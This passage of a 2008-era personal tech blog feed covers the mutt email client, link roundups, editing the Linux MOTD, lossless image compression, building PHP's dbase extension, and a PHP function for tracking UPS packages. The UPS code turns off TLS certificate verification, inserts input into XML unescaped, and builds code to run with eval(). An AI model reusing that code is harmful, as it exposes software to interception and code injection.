&lt;p&gt;Then add this to your .muttrc:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;auto_view text/html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now when you go to read an email with HTML you should be able to see it without all the markup.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 17</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-17/index.html" />
		<updated>2008-08-02T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-17/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.mutt.org/&#34;&gt;The Mutt E-Mail Client&lt;/a&gt; - I have recently started to use mutt for checking my gmail email.  I have to say that once you get it all setup you can blaze through emails.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://subversion.tigris.org/&#34;&gt;Subversion&lt;/a&gt; - This is another application that completely changed my life as a developer.  If you are creating websites or working on a new app for a site or even just trying to keep &lt;a href=&#34;https://wordpress.org/&#34;&gt;Wordpress&lt;/a&gt; updated Subversion (SVN) is an absolute must.  If you have never heard of it I suggest you drop what you are doing and head over there.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.digg.com/?p=137&#34;&gt;New Digg Mobile site released&lt;/a&gt; - If you are a Digg fan and use mobile devices they have added a new site.  Check it out.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.junauza.com/2008/07/8-best-e-mail-clients-for-linux.html&#34;&gt;8 Best E-mail Clients for Linux&lt;/a&gt; - If you don&amp;rsquo;t like mutt here are 7 other email clients (mutt is one of them).&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://news.softpedia.com/news/How-To-Install-KDE-4-1-On-Ubuntu-8-04-91034.shtml&#34;&gt;How to Install KDE 4.1 on Ubuntu 8.04&lt;/a&gt; - Step by step guide for the KDE lovers.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://hehe2.net/linuxhumor/10-cool-open-source-easter-eggs/&#34;&gt;10 Cool Open Source Easter Eggs&lt;/a&gt; - A pretty fun list of open source easter eggs!&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.nvnews.net/vbulletin/showthread.php?t=115916&#34;&gt;nVidia &lt;sup&gt;8000&lt;/sup&gt;&amp;frasl;&lt;sub&gt;9000&lt;/sub&gt; Series Performance Issues&lt;/a&gt; - Normally nvidia has been good to the Linux community; however, I have an 8800gts and I have had horrible experience with 2d part of drivers.  It has been over a year since I have looked for a fix and now I find this forum post.  It turns out I am not crazy.  Their drivers really do suck for 2d.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20080729-optical-storage-goes-deep-1tb-stored-in-three-dimensions.html&#34;&gt;Optical storage goes deep: 1TB stored in three dimensions&lt;/a&gt; - If you thought Blueray was big.  Check these puppies out.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Why I Use Mutt</title>
		<link href="https://www.marksanborn.net/software/why-i-use-mutt/index.html" />
		<updated>2008-08-01T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/why-i-use-mutt/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.mutt.org/&#34;&gt;Mutt&lt;/a&gt; is a console based email client and have been using it heavily the last few weeks.  Now that I have everything setup the way I like I think it is the best email client I have ever used.  I use &lt;a href=&#34;http://www.gmail.com&#34;&gt;Gmail&lt;/a&gt; for my email but ever since they allowed &lt;a href=&#34;http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol&#34;&gt;IMAP&lt;/a&gt; I have been looking for an email client that can provide, productivity and simplicity.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;After trying &lt;a href=&#34;http://www.mozilla.com/en-US/thunderbird/&#34;&gt;Thunderbird&lt;/a&gt; and other GUI applications I was put off by the complexity and actually found my productivity decreasing.  These GUI programs would often have &lt;a href=&#34;http://byronmiller.typepad.com/byronmiller/2007/03/thunderbird_cle.html&#34;&gt;memory leaks&lt;/a&gt; and would use mass amounts of memory.  Something I thought was unnecessary when simply reading text emails.  I even found that the Gmail&amp;rsquo;s web-interface was actually a lot faster than using a mail application.  That is until I found the mutt.&lt;/p&gt;

&lt;h3&gt;The reasons why I love mutt&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Its faster than anything I have ever used.&lt;/strong&gt;  Mutt tries to group tasks and commands before sending them to the IMAP server.  For example when you want to delete a bunch of emails you flag them as deleted in mutt and then when you are ready you hit, &amp;lsquo;&lt;strong&gt;$&lt;/strong&gt;&amp;rsquo;.  And all those emails will be deleted in one swoop.  This also happens when you move/archive emails.  So you are never waiting (even for a second) when you archive an email.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Emails can be downloaded while you are reading.&lt;/strong&gt;  This is especially helpful when on a slower connection.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;It is extremely customizable.&lt;/strong&gt;  For example 90% of my emails are sorted into two folders.  These folders are &lt;strong&gt;@NextAction&lt;/strong&gt; and &lt;strong&gt;@WaitingFor&lt;/strong&gt;.  Why the @ symbol?  Because characters come before the letter &amp;lsquo;&lt;strong&gt;a&lt;/strong&gt;&amp;rsquo; in alpha-numeric sorting.  I can then configure mutt to place an email into the respected folder by binding a key to a macro that moves that email to the that folder.  In Gmail&amp;rsquo;s interface I would have to click a drop down and select the folder.  This is about the most simple macro I could think of.  Mutt can be configured to do almost anything you could imagine.  If you want to get rid of a yes/no prompt or automatically fill a certain field in every time you can easily do that.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Console based.&lt;/strong&gt;  This means it doesn&amp;rsquo;t need to load up graphics and cause lots of memory to be used.  It also forces the user to use the keyboard which makes managing email much faster when you learn to stop grabing that darn mouse.  It comes with every distro of Linux/FreeBSD that I have ever used and can be configured in minutes.  Best part is if you save your config file you can transfer your settings from computer to computer without clicking all over in a GUI system checking check boxes filling out forms and going through endlesss amounts of wizards to get things configured properly.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Shortcuts that makes sense.&lt;/strong&gt;  The mutt shortcuts all revolve around keeping your hands on the home row.  Like &lt;a href=&#34;http://www.vim.org/&#34;&gt;Vim&lt;/a&gt;, your movement keys are &amp;lsquo;&lt;strong&gt;j&lt;/strong&gt;&amp;rsquo; and &amp;lsquo;&lt;strong&gt;k&lt;/strong&gt;&amp;rsquo;.  If you are familiar with vim you will already feel right at home with mutt.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compose messages with your favorite editor.&lt;/strong&gt;  Speaking of Vim.  Mutt allows you to compose messages with your favorite editor.  So if you are already effecient with Vim you will be able to use it without learning different shortcuts and commands.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Great support for mailing lists.&lt;/strong&gt;  I have found that mailing lists are where the experts communicate on their specific topics.  I have learned a lot by subscribing to mailing lists and reading them daily.  I find that the quality of content in mailing lists surpasses most forums.  The problem with them however is that they can clog your inbox with unimportant emails.  Also they can be hard to read if there are lots of replys.  Mutt allows you to configure which emails are from mailing lists and it will treat them differently.  It also displays them in a threaded hiarachy so it is easy to keep track of them.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Support for attachments.&lt;/strong&gt;  You can configure mutt to &lt;a href=&#34;/howto/reading-html-email-with-mutt/&#34;&gt;open html emails&lt;/a&gt; with any type of text browser such as, lynx, links, w3m, or links2.  You can open word/pdf documents with a console converter or have your terminal launch Open Office.  Although  most email clients will do this I like having the option of opening word documents in plain text for speed reasons.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Regular expressions.&lt;/strong&gt;  Although Gmail&amp;rsquo;s search function for emails might never be matched mutt provides regular expressions.  So you can easily search through hundreds of emails in seconds.  You can also use regular expressions to automatically filter, delete, flag, write, or move emails.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Macros.&lt;/strong&gt;  Ok I know macros are kind of an advanced or scary thing, but mutt makes them worth learning.  For example if you started to recieve common questions in your email you could set up a macro and bind it to a key for fast replys.  The macro would compose a message and automatically include the person&amp;rsquo;s name and custom message based on their question.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Security.&lt;/strong&gt;  Although must clients support gpg/pgp, mutt makes is easy to setup and send encrypted emails.  You also don&amp;rsquo;t have to worry about code being executed or images tracking your email behavior.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Tracking UPS Packages with PHP</title>
		<link href="https://www.marksanborn.net/php/tracking-ups-packages-with-php/index.html" />
		<updated>2008-07-29T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/tracking-ups-packages-with-php/index.html</id>
		<content type="html">&lt;div class=&#34;alert alert-info&#34;&gt;
&lt;strong&gt;Update:&lt;/strong&gt; For a no fuss, 100% complete UPS Online Tools script with label printing support, integration support and automatic certification generation (required by UPS), I have created, &lt;a href=&#34;https://rocketshipit.com/?utm_source=msnet&amp;utm_medium=link&amp;utm_campaign=blog&#34;&gt;RocketShipIt&lt;/a&gt;.
&lt;/div&gt;

&lt;p&gt;By now you should know how to &lt;a href=&#34;/php/calculating-ups-shipping-rate-with-php/&#34;&gt;look up a UPS rate with PHP&lt;/a&gt;.  Now we are going to look into tracking the package using the UPS tracking XML API.  This tool uses the same process as the rate selection tool so it should look familiar to you.&lt;/p&gt;

&lt;p&gt;This article is going to be laid out a little bit different than my previous UPS articles.  Instead of simply walking your through the code and providing an example I am going to try to break down the code in pieces and explain how each part works so you have a deep understanding of the code when you go to customize it for your application.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3&gt;Things you will need&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;UPS Online Tool Account&lt;/strong&gt; - free but requires &lt;a href=&#34;https://www.ups.com/servlet/registration?loc=en_US&amp;amp;returnto=http%3A%2F%2Fwww.ups.com%2Fe_comm_access%2FlaServ%3Floc%3Den_US&#34;&gt;registration&lt;/a&gt;
&lt;strong&gt;UPS Access Key&lt;/strong&gt; - Comes with the online tool account
&lt;a href=&#34;http://curl.haxx.se/download.html&#34;&gt;&lt;strong&gt;cURL&lt;/strong&gt;&lt;/a&gt; - Most LAMP (Linux, Apache, Mysql, PHP) web hosts have this installed by default.  If you are using &lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt; you already have this installed.
&lt;strong&gt;PHP&lt;/strong&gt; - You must know a little bit about using php. After all you are about to create a custom UPS shipping calculator.
&lt;strong&gt;XML&lt;/strong&gt; - If you know what PHP is you should know what this is. If not read about it &lt;a href=&#34;http://en.wikipedia.org/wiki/XML&#34;&gt;here&lt;/a&gt;.
&lt;strong&gt;SSH access&lt;/strong&gt; - Many web hosts offer this. You don’t HAVE to have it but it makes troubleshooting easier (another reason i like &lt;a href=&#34;http://www.dreamhost.com/r.cgi?174943&#34;&gt;Dreamhost&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;If you want some more detailed information about customizing the request with different XML paramaters you can check out their manual called, &amp;lsquo;&lt;strong&gt;dtk_TrackXML_V1.zip&lt;/strong&gt;&amp;rsquo;.  You will have access to it once you sign up for the free UPS Online Tool Account.&lt;/p&gt;

&lt;h3&gt;Setting it up&lt;/h3&gt;

&lt;p&gt;Copy the &lt;a href=&#34;/wp-content/uploads/2008/07/upsTrack.html&#34;&gt;UPS Tracking PHP Function&lt;/a&gt; I have created into a new .txt file and name it upsTrack.php.  Go through this function and find the parts in the XML file that are in CAPS, You will need to add your access key, username, password, etc…&lt;/p&gt;

&lt;p&gt;Then create another .php file and make sure to include upsTrack.php.&lt;/p&gt;

&lt;p&gt;It might look something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;require(&amp;quot;upsTrack.php&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now all you have to do to get an tracking information for a package is call the upsTrack function.&lt;/p&gt;

&lt;p&gt;The basic syntax for the function is:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;upsTrack($trackingNumber);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Since this function returns an array it is often useful to put it into a variable:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$someArray = upsTrack(&#39;YourTrackingNumberHere&#39;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This way you can return any portion of the xml data you wish.  For example if you wanted to find out the scheduled delivery date of the package you could simply do:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;echo $someArray[&#39;TRACKRESPONSE&#39;][&#39;SHIPMENT&#39;][&#39;SCHEDULEDDELIVERYDATE&#39;];
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you are wondering how I knew how the array was structred you can do:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;print_r($someArray);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will give you all the possible data fields from the XML response.&lt;/p&gt;

&lt;h3&gt;Breaking down the code&lt;/h3&gt;

&lt;p&gt;The first part of the code creates the function called, &amp;lsquo;upsTrack&amp;rsquo;.  This function is setup to accept the variable, &amp;lsquo;$trackingNumber&amp;rsquo;.  The rest of this snippet is the XML data that we will be sending to the UPS API servers.  If you need to modify this part of the code you will need to check out the UPS Tracking manual in, &amp;lsquo;&lt;strong&gt;dtk_TrackXML_V1.zip&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Remember to change the the ACCESSNUMBER, USERNAME, and PASSWORD to the your actual values.&lt;/em&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function upsTrack($trackingNumber) {
$data =&amp;quot;&amp;lt;?xml version=\&amp;quot;1.0\&amp;quot;?&amp;gt;
&amp;lt;AccessRequest xml:lang=&#39;en-US&#39;&amp;gt;
  &amp;lt;AccessLicenseNumber&amp;gt;ACCESSNUMBER&amp;lt;/AccessLicenseNumber&amp;gt;
  &amp;lt;UserId&amp;gt;USERNAME&amp;lt;/UserId&amp;gt;
  &amp;lt;Password&amp;gt;PASSWORD&amp;lt;/Password&amp;gt;
&amp;lt;/AccessRequest&amp;gt;
&amp;lt;?xml version=\&amp;quot;1.0\&amp;quot;?&amp;gt;
&amp;lt;TrackRequest&amp;gt;
  &amp;lt;Request&amp;gt;
    &amp;lt;TransactionReference&amp;gt;
      &amp;lt;CustomerContext&amp;gt;
        &amp;lt;InternalKey&amp;gt;blah&amp;lt;/InternalKey&amp;gt;
      &amp;lt;/CustomerContext&amp;gt;
      &amp;lt;XpciVersion&amp;gt;1.0&amp;lt;/XpciVersion&amp;gt;
    &amp;lt;/TransactionReference&amp;gt;
    &amp;lt;RequestAction&amp;gt;Track&amp;lt;/RequestAction&amp;gt;
  &amp;lt;/Request&amp;gt;
  &amp;lt;TrackingNumber&amp;gt;$trackingNumber&amp;lt;/TrackingNumber&amp;gt;
&amp;lt;/TrackRequest&amp;gt;&amp;quot;;
$ch = curl_init(&amp;quot;https://www.ups.com/ups.app/xml/Track&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This next part of the code is where we setup cURL.  cURL is the program we use to send the XML request data in our, &amp;lsquo;&lt;strong&gt;$data&lt;/strong&gt;&amp;rsquo; variable (the stuff above).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; You can uncomment the echo if you want to see the raw XML data response in the HTML comments.&lt;/em&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ch = curl_init(&amp;quot;https://www.ups.com/ups.app/xml/Track&amp;quot;);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_TIMEOUT, 60);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec ($ch);
// echo &#39;&amp;lt;!-- &#39;. $result. &#39; --&amp;gt;&#39;;
$data = strstr($result, &#39;&amp;lt;?&#39;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The rest of the code simply puts the XML into an array with values that correspond to the XML tags.  This makes it eash to extract specific values.  Unless you know what you are doing I would stay away from editing this part of the code.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser, $data, $vals, $index);
xml_parser_free($xml_parser);
$params = array();
$level = array();
foreach ($vals as $xml_elem) {
 if ($xml_elem[&#39;type&#39;] == &#39;open&#39;) {
if (array_key_exists(&#39;attributes&#39;,$xml_elem)) {
         list($level[$xml_elem[&#39;level&#39;]],$extra) = array_values($xml_elem[&#39;attributes&#39;]);
} else {
         $level[$xml_elem[&#39;level&#39;]] = $xml_elem[&#39;tag&#39;];
}
 }
 if ($xml_elem[&#39;type&#39;] == &#39;complete&#39;) {
$start_level = 1;
$php_stmt = &#39;$params&#39;;
while($start_level &amp;lt; $xml_elem[&#39;level&#39;]) {
         $php_stmt .= &#39;[$level[&#39;.$start_level.&#39;]]&#39;;
         $start_level++;
}
$php_stmt .= &#39;[$xml_elem[\&#39;tag\&#39;]] = $xml_elem[\&#39;value\&#39;];&#39;;
eval($php_stmt);
 }
}
curl_close($ch);
return $params;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;A working example&lt;/h3&gt;

&lt;p&gt;To prove this code works as is I copied and pasted it and added a form.  Here is the &lt;a href=&#34;/wp-content/uploads/2008/07/upsTrack.php&#34;&gt;working model of the UPS tracking function&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Changing the MOTD in Linux</title>
		<link href="https://www.marksanborn.net/linux/changing-the-motd-in-linux/index.html" />
		<updated>2024-05-10T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/changing-the-motd-in-linux/index.html</id>
		<content type="html">&lt;p&gt;Ok today is going to be a quick post on how to change the Message Of The Day or MOTD.  This is the message that you will see when you first log into your shell either through ssh or on the machine.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;The message of the day is really just a text file.  It got its name because it was easier and used less disk space to send a message to all of your users than using email.&lt;/p&gt;

&lt;p&gt;To change the MOTD you have to edit the /etc/motd file.  Simply open it up with your favorite text editor. You can create it if it doesn&amp;rsquo;t exist:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim /etc/motd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Type your message that you want to see and save it.  The next time you login you should see your message!&lt;/p&gt;

&lt;p&gt;If you want to just add a line to your MOTD without opening your text editor you can just use the echo command and appened (&amp;gt;&amp;gt;).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: Only root will have access to change the motd file.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;echo &amp;quot;This is an added line to my message of the day&amp;quot; &amp;gt;&amp;gt; /etc/motd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you want some cool ascii code in your MOTD install a small app called figlet:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install figlet&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then use it like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;figlet text you want to convert&lt;/code&gt; or &lt;code&gt;figlet test&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; _            _
| |_ ___  ___| |_
| __/ _ \/ __| __|
| ||  __/\__ \ |_
 \__\___||___/\__|
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Other fun things&lt;/h3&gt;

&lt;p&gt;There are many other fun things you can add to your MOTD to spice it up.  After adding some ascii text of maybe the computer&amp;rsquo;s name I like to put a quote or something funny.&lt;/p&gt;

&lt;p&gt;I like to mix two programs, fortune and cowsay.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; ________________________________________
/ You will obey or molten silver will be \
\ poured into your ears.                 /
 ----------------------------------------
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can install both of these programs with &lt;code&gt;apt&lt;/code&gt; or whatever package managment software your distro uses. On arch you can do &lt;code&gt;sudo pacman -Syu cowsay figlet&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Thats about it.  Have fun&amp;hellip;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 16</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-16/index.html" />
		<updated>2008-07-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-16/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://www.linuxlinks.com/article/200807130419006/Video.html&#34;&gt;42 of the Best Free Linux Video Software&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.linuxhaxor.net/2008/06/16/3-ways-to-try-out-linux/&#34;&gt;3 Ways to Try Out Linux, For a Windows User&lt;/a&gt; - Although I think a live CD is easier than most of these its worth checking out if you havn&amp;rsquo;t been introduced to the world of Linux yet.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://ralree.com/images/MacPCLinuxTruth.jpg&#34;&gt;Mac vs PC vs Linux (pic)&lt;/a&gt; - A nice picture showing the differences between the top operating systems.  Although I think they should replace the Ubuntu logo with a Gentoo logo for added comedy.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.htaccesseditor.com/en.shtml&#34;&gt;htaccess editor&lt;/a&gt; - A nice handy tool for making various .htaccess configurations.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20080725-hammer-drops-at-last-fcc-opposes-comcast-p2p-throttling.html&#34;&gt;Hammer drops at last: FCC opposes Comcast P2P throttling&lt;/a&gt; - Finally some good news.  Throttling and shaping is bad mmmkay&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blogs.techrepublic.com.com/10things/?p=387&#34;&gt;10 ways to make Linux boot faster&lt;/a&gt; - Make your linux boxes boot faster with these tips.  I like the one where it says use Gentoo or a smaller distro over Ubuntu.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://lifehacker.com/399155/five-best-alternative-file-managers&#34;&gt;Five Best Alternative File Managers (For Windows)&lt;/a&gt; - For a better file manager check these out.  I haven&amp;rsquo;t tried it but I hear that Total Commander is really good.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://lifedev.net/2008/07/programmer-creativity-boost/&#34;&gt;Creative Code: 14 Ways to Learn From Creative Programmers&lt;/a&gt; - Quite a cool article about programming.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Compress Images For Faster Load Times</title>
		<link href="https://www.marksanborn.net/howto/compress-images-for-faster-load-times/index.html" />
		<updated>2008-07-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/compress-images-for-faster-load-times/index.html</id>
		<content type="html">&lt;p&gt;We talked about &lt;a href=&#34;/howto/embedding-images-in-html/&#34;&gt;images that could be embeded into the HTML&lt;/a&gt; for faster load times.  Today we are going to talk about how to compress those images even smaller without quality loss.  Often times web developers think that Adobe Photoshop&amp;rsquo;s &amp;ldquo;Save for Web&amp;rdquo; feature does enough compression.  I was also under the belief that photoshop would compress images to the max.  After compressing about 100 images I found out that this couldn&amp;rsquo;t be further from the truth.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;Some of the images were reduced by over 90% and &lt;strong&gt;NONE of the images that I had saved with Adobe&amp;rsquo;s &amp;ldquo;Save for Web&amp;rdquo; were completely optimized&lt;/strong&gt;.  And remember the programs that I had used are optimizing with ZERO quality loss.  The quality is still the same yet the file size is getting smaller.&lt;/p&gt;

&lt;h3&gt;The Tools&lt;/h3&gt;

&lt;p&gt;Here are some of the tools that we will use to compress various image types:&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://pmt.sourceforge.net/pngcrush/&#34;&gt;Pngcrush&lt;/a&gt;
&lt;a href=&#34;http://sylvana.net/jpegcrop/jpegtran/&#34;&gt;Jpegtran&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;Compressing the Images&lt;/h3&gt;

&lt;p&gt;To reduce the file size of a png without quality loss you will need to use pngcrush.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pngcrush image.png -rem alla -reduce -brute result.png&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To reduce the file size of jpeg files without los you can use jpegtran.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;jpegtran -copy none -optimize -perfect src.jpg dest.jpg&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Adding dbase Support to PHP5 on Ubuntu</title>
		<link href="https://www.marksanborn.net/php/adding-dbase-support-to-php5-on-ubuntu/index.html" />
		<updated>2008-07-18T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/adding-dbase-support-to-php5-on-ubuntu/index.html</id>
		<content type="html">&lt;p&gt;For the popular packages Ubuntu has handy little packages that will install/add extentions to PHP, but not for dbase.  Dbase is old as dirt and most people don&amp;rsquo;t use it for much anymore.  I was recently working on a legacy app that works with dbase files and this was the extension i needed to allow php to work with the old dbase system.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;After searching online for awhile I couldn&amp;rsquo;t really find a good answer for how to add the extension without completely reinstalling PHP5 from source.&lt;/p&gt;

&lt;p&gt;What i ended up doing was just compiling that extenstion from source and pointing to it from my php.ini leaving my existing php5 intact.&lt;/p&gt;

&lt;h3&gt;Getting the source&lt;/h3&gt;

&lt;p&gt;First thing you will need to do install install the php5-dev package:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install php5-dev&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will give us the tools needed to work with the source code.  Next grab the source.  In your home directory&amp;hellip;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mkdir php
cd php
apt-get source php5&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then go into the extension directory.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd php5-5.1.2/ext/dbase&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Compile the Extension&lt;/h3&gt;

&lt;p&gt;Once you are in the dbase directory do:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;phpize&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then,&lt;/p&gt;

&lt;p&gt;&lt;code&gt;./configure&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Followed by a,&lt;/p&gt;

&lt;p&gt;&lt;code&gt;make&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Copy the extension&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;cp modules/* /usr/lib/php5/20051025/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Your php5 library directory might be named something else.&lt;/p&gt;

&lt;h3&gt;Edit php.ini&lt;/h3&gt;

&lt;p&gt;You will then need to edit the php.ini file&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim /etc/php5/apache2/php.ini&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Near the extention section add:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;extension=dbase.so&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Ultimate Guide to SEO: Meta Description</title>
		<link href="https://www.marksanborn.net/seo/ultimate-guide-to-seo-meta-description/index.html" />
		<updated>2008-07-14T00:00:00Z</updated>
		<id>https://www.marksanborn.net/seo/ultimate-guide-to-seo-meta-description/index.html</id>
		<content type="html">&lt;p&gt;The meta description effects how search engines will show snippets of your site and effects how your visitors will determine to visit your site based on its description.  It is definitely directly related to the chance your site will get clicked.  Google chooses its snippets based on many &lt;a href=&#34;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;amp;answer=35264&#34;&gt;different things&lt;/a&gt;, but we can control some of them through writing an effective meta description&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;To get the most out of this article check out, &lt;a href=&#34;/seo/ultimate-guide-to-seo-series/&#34;&gt;Ultimate Guide to SEO: Series&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Improving the meta description will help you get click through from the Google page, but they won&amp;rsquo;t effect your ranking.&lt;/p&gt;

&lt;h3&gt;What is the Meta Description?&lt;/h3&gt;

&lt;p&gt;The meta description is a short description of what that page is about.  It is put in the Meta tag near the top of the page and is sometimes used when a search engine shows a link to your site.  Here is an example of one:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/07/video-good.png&#34; alt=&#34;meta description&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Adding a Meta Description to your site&lt;/h3&gt;

&lt;p&gt;To add a meta description to your pages you will need to add line between your &lt;strong&gt;&lt;head&gt;&lt;/head&gt;&lt;/strong&gt; tags.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;META NAME=&amp;quot;Description&amp;quot; CONTENT=&amp;quot;Description goes here...&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Making a good Meta Description that is HUMAN friendly&lt;/h3&gt;

